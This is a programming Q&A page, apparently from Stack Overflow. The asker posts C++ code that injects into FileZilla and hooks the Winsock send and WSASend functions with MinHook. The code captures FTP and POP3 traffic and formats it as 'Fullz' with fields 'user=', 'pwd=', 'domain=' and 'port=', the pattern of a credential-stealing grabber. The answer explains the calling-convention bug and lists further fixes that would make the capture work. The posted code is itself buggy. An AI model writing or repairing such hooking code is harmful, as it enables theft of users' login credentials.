Hooking Send/WSASend returns runtime check error#0

824 views Asked by At

i am trying to hook Send/ WSASend to monitor traffic, show data in messagebox, when i hook other than show a messagebox with the traffic it pops out this runtime check error.

The code seems to compile correctly , looks like this below

#include "stdafx.h"
#include "MinHook.h"
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
#include <fstream>
#include <string>
#include <vector>
#include <winsock2.h>
#include "popftphook.h"

#pragma comment (lib, "wininet")
#pragma comment(lib,"urlmon")
#pragma comment(lib, "ws2_32")

using namespace std;

LPVOID original_functionwsa = NULL;
LPVOID original_functionsend = NULL;

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal));
}

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags);
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
void ExportBuffer(char *buf, SOCKET s);
send_FuncType True_send = NULL;
OldWSASend TrueWSAhook1 = NULL;

void ExportBuffer(char *buf, SOCKET s)
{
    char *buffer = (char*)buf;
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0)
    {
        sockaddr_in peeraddr;
        int size = sizeof(peeraddr);
        getpeername(s, (struct sockaddr *)&peeraddr, &size);
        struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
        char* IP = inet_ntoa(peeraddr.sin_addr);
        int Port = (int)htons(peeraddr.sin_port);

        if (IP != NULL && Port > 0)
        {
            char Fullz[250];
            wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port);
            MessageBoxA(0, Fullz, 0, 0);
        }
    }
}


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags)
{
    int hResult = True_send(s, buf, len, flags);
    if (hResult > 0)
    {
        ExportBuffer((char*)buf, s);
    }

    return hResult;
}

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
    if (hResult > 0)
    {
        ExportBuffer((char*)lpBuffers->buf, s);
    }
    return hResult;

}

void hookSend()
{
    MH_STATUS status = MH_Initialize();
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send");
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send);
    status = MH_EnableHook(MH_ALL_HOOKS);
}

void hookWSApop()
{
    MH_STATUS status = MH_Initialize();
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend");
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1);
    status = MH_EnableHook(MH_ALL_HOOKS);
}

void poptrigger()
{
    hookSend();
    hookWSApop();
}

When i inject into filezilla i get Runtime check error #0 on line 57.

1

There are 1 answers

0
Remy Lebeau On

Your send_FuncType typedef is missing an explicit calling convention, so the compiler's default (usually __cdecl) is used. send() uses the __stdcall calling convention (as almost every Win32 API function does). So you are likely to cause runtime errors when calling True_send() due to that calling convention mismatch. The WINAPI macro includes the __stdcall convention, so you don't have a similar mismatch on your WSASend() hook.

Also, ExportBuffer() has quite a lot of logic bugs:

  1. send() and WSASend() do not operate on null-terminated buffers (and null terminators do not exist in the FTP and POP3 protocols), but your strncmp and wsprintfA operations expect null-terminated data.
  2. You are not taking the stream-oriented nature of TCP into account at all. There is no guarantee that any given buffer will contain complete strings. You have to be prepared to handle strings that span across multiple buffers.
  3. You assume that all sockets are using IPv4 only, but that is not guaranteed. To support both IPv4 and IPv6, use sockaddr_storage instead of sockaddr_in, and use InetPton() instead of inet_ntoa().
  4. You are not passing enough parameters to wsprintfA(). You have 4 format specifiers but are passing only 3 data values.
  5. You appear to want to process FTP and POP3 protocols, but the strings "FTP" and "POP" do not appear in transmitted data in those protocols, so what are you really looking for?

You need to fix those errors.